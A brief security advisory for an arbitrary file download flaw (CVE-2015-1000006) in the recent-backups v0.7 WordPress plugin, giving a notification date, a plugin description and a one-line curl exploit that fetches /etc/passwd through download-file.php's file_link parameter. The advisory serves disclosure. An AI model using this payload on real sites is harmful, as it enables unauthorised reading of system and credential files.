Arbitrary file download vulnerability in recent-backups v0.7 wordpress plugin
CVE ID(s):
CVE-2015-1000006
Notified: 2015-07-14
Description:
To be used with the BackupWordPress plugin to list the contents of the backup directory in a dashboard widget.
Exploit:
$ curl -v "http://www.example.com/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd